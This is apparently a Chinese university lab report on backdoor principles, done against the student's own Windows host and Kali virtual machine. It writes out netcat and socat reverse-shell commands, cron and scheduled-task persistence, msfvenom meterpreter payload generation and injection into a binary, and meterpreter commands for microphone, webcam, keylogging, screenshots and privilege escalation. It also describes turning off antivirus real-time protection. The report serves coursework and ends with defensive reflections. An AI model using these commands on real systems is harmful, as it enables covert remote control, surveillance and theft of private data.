Exp2-后门原理与实践
-
一、实验内容
- 1.使用netcat获取主机操作Shell,cron启动
- 2.使用socat获取主机操作Shell, 任务计划启动
- 3.用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
二、实践过程记录
-
0. 准备工作
-
0.1 查询主机ip地址
-
Windows:打开cmd窗口,输入ipconfig 查询到本机ip地址为:172.16.225.198
-
Linux:打开命令行窗口,输入ifconfig 查询到虚拟机IP地址为192.168.80.128
-
-
0.2 关于netcat
- Netcat 是一款简单的Unix工具,使用UDP和TCP协议。
- 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。
- Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
- Windows: 课程主页附件中下载ncat.rar解压即可使用。
- Mac: 系统自带,"man nc",查看其使用说明。
-
0.3 关于socat
- socat可以看做是 Netcat 的加强版。Socat 的主要特点就是在两个数据流之间建立双向通道,且支持众多协议和链接方式,如IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等。
- 功能:端口转发、端口映射、端口监听、tcp/udp连接、文件传送、nat映射、使用openssl加密传输
-
0.4 关于Meterpreter
- 渗透攻击(Exploit)、攻击载荷(Payload)、Shellcode、模块(Module)、监听器(Listener),功能强大
-
-
1.使用netcat获取主机操作Shell,cron启动
-
1.1 Win获得Linux Shell
- Step1:Windows打开监听
- 在cmd.exe下输入
ncat.exe -l -p 1223
(我的学号)
- 在cmd.exe下输入
- Step2:Linux反弹连接win
- 在Linux虚拟机连接Windows:输入
nc 172.16.225.198 1223 -e /bin/sh
- 在Linux虚拟机连接Windows:输入
- Step3:windows下获得一个linux shell,可运行任何指令,如ls
- win端成功进入Linux Shell运行ls指令
- win端成功进入Linux Shell运行ls指令
- Step1:Windows打开监听
-
1.2:Linux获得Win Shell
- step1:Linux运行监听指令
- 在Linux下输入
nc -l -p 1223
- 在Linux下输入
- Step2:Windows反弹连接Linux
- 在cmd下输入
ncat.exe -e cmd.exe 192.168.80.128 1223
- 在cmd下输入
- Step3:Linux下看到Windows的命令提示
- step1:Linux运行监听指令
-
1.3使用nc传输数据
- 由于更换网络,我此时的ip地址改为:Windows ip:
192.168.31.25
- 由于更换网络,我此时的ip地址改为:Windows ip:
-
-
2.使用socat获取主机操作Shell, 任务计划启动
- 由于更换网络,我此时的ip地址改为:
- Windows ip:
192.168.31.25
- Linux ip:
192.168.80.128
- Windows ip:
-
2.1 Windows获取Linux Shell
- Step1:使用netcat获取主机操作Shell,cron启动
- Step2:在Kali虚拟机下使用crontab指令增加定时任务
- 输入
crontab -e
,再输入3
,打开vim - 此时时间为10:42,打开文件在最后一行添加
43 * * * * /bin/netcat 192.168.31.25 1223 -e /bin/sh
- 补充:Cron 是 Linux 下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可 man cron 。crontab 指令增加一条定时任务,-e表示编辑。
- 43表示每时43分则会自启,连接主机192.168.31.25的1223端口
- 输入
- Step3:在10:43时,Windows端会自动获得kali的shell
-
2.2 Linux获取Windows Shell
- Step1:
Win键+R
后输入compmgmt.msc打开计算机管理(直接在搜索框里搜也可以) - Step2:在系统工具中的任务计划程序中创建任务
常规
中填写任务名称
为exp2
- 点击
触发器
,然后新建触发器
,设置工作站锁定时触发
,最后确认 - 在操作中,导入所下载解压后的
socat.exe
的路径,在添加参数中填入tcp-listen:1223 exec:cmd.exe,pty,stderr
(把cmd.exe
绑定到端口 1223 ,同时把cmd.exe
的stderr
重定向到stdout
上),创建完成之后,点击确定。 - 创建完成之后,按
Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
-
Step3:在kali中输入 socat - tcp:172.16.225.198:1223 (-代表标准的输入输出,第二个流连接到Windows主机的 1223 端口,IP为此时win的IP),成功获得 cmd shell )
- 输入
dir
进行测试,成功输出
- 输入
- 由于更换网络,我此时的ip地址改为:
-
3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- Step1:在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=1223 -f exe > 20201223_backdoor.exe
(IP为kali的IP)生成后门程序20201223_backdoor.exe
- 此时kali的ip为192.168.80.128
- Step2:在Windows中使用
ncat.exe -lv 1223 > 20201223_backdoor.exe
进行传输 - Step3:在kali中输入nc 172.16.217.149 1223 < 20201223_backdoor.exe
- 此处的ip为Windows的ip:172.16.217.149
- 此处的ip为Windows的ip:172.16.217.149
- Step4:将生成的后门程序传送到Windows主机,传输成功。
- 在实验过程中,电脑主机弹出消息,警告产生病毒和威胁。打开设置中的病毒和威胁防护,将操作选项设置成
允许在设备上
,关闭实时保护 - Step5:Kali上输入
msfconsole
指令进入MSF控制台 -
之后输入以下指令进行配置
``` use exploit/multi/handler *#使用监听模块,设置payload* set payload windows/meterpreter/reverse_tcp *#使用和生成后门程序时相同的payload* set LHOST 192.168.80.128 *#KaliIP,和生成后门程序时指定的IP相同* set LPORT 1223 exploit *执行监听 ```
- Step6:Kali下输入指令
exploit
监听,在Windows下点击后门程序后,Kali中获得shell- kali成功获取到Windows shell
- Step1:在kali中输入指令
-
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- Step1:输入
record_mic
指令可以截获一段音频 - Step2:输入
webcam_snap
指令可以使用摄像头进行拍照 - Step3:使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录 - Step4:使用
screenshot
指令可以进行截屏- 截屏如下
- Step5:输入
getuid
查看当前用户;输入getsystem
提取权限
- Step1:输入
-
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- Step1:在kali指令上执行
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=1223 -x pwn1 -f elf > pwntest
- ip地址为kali的地址
- Step2:在 Kali 上使用
msfconsole
指令进入msf控制台。-
之后输入以下指令进行配置
``` use exploit/multi/handler *#使用监听模块,设置payload* set payload windows/meterpreter/reverse_tcp *#使用和生成后门程序时相同的payload* set LHOST 192.168.80.128 *#KaliIP,和生成后门程序时指定的IP相同* set LPORT 1223 exploit *执行监听 ```
-
- Step3:在另一个终端进入相应文件夹,输入 chmod +x pwntest ,否则会出现权限不够无法运行的问题,接着输入运行 ./pwntest
- Step4:之前的终端进行响应,得到了pwntest的功能
- Step1:在kali指令上执行
-
-
三、基础问题回答
- 1.例举你能想到的一个后门进入到你系统中的可能方式?
- 可能通过硬件,例如U盘,进入系统;可能在解压压缩包时,压缩包中的可配置或可执行文件其中藏有后门程序。
- 2.例举你知道的后门如何启动起来(win及linux)的方式?
- 在Linux里先修改cron文件,通过nc传播到另一台主机,当另一台主机运行时启动后门。
- 在Windows下可以通过将后门启动程序设置为开机启动项或设置任务触发的方式启动后门。
- 3.Meterpreter有哪些给你映像深刻的功能?
- Meterpreter的功能包括渗透攻击、攻击载荷、Shellcode、模块、监听器,实验中我们通过使用MSF meterprete生成获取目标主机音频、摄像头、击键记录,并提权。
- 对我来说,提权是映像最深刻的。因为这个是最危险的,攻击者提权后可能进行意想不到的攻击。
- 4.如何发现自己有系统有没有被安装后门?
- 通过Windows自带的防火墙进行识别,定期查杀漏洞和恶意软件,查看有没有奇怪的自启动项和没有必要打开的端口。
- 1.例举你能想到的一个后门进入到你系统中的可能方式?
-
四、实践总结与体会
- 在本次实验中,通过对后门概念的理解和实际操作,掌握了后门的生成过程和注入方式,明白了后门其实就是留在计算机系统中,绕过了安全检测可以用某种方式控制计算机系统的途径。在本次实验过程中,曾多次因为防火墙和杀毒软件的阻止实验中断,也切实感受到了后门的工作原理、防火墙和杀毒软件的重要性。
- 实验中简单的后门其实是可以被防火墙识别的,这让我意识到了防火墙的重要性,以及一定要及时更新系统、安装补丁,尽量避免系统漏洞;
- 在实验里简单的后门程序就可以实现那么多效果,一旦计算机被植入这些后门程序,个人隐私就轻而易举地会被泄露,在平时一定要养成良好的使用计算机的习惯,不要使用来源不明的软件等。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通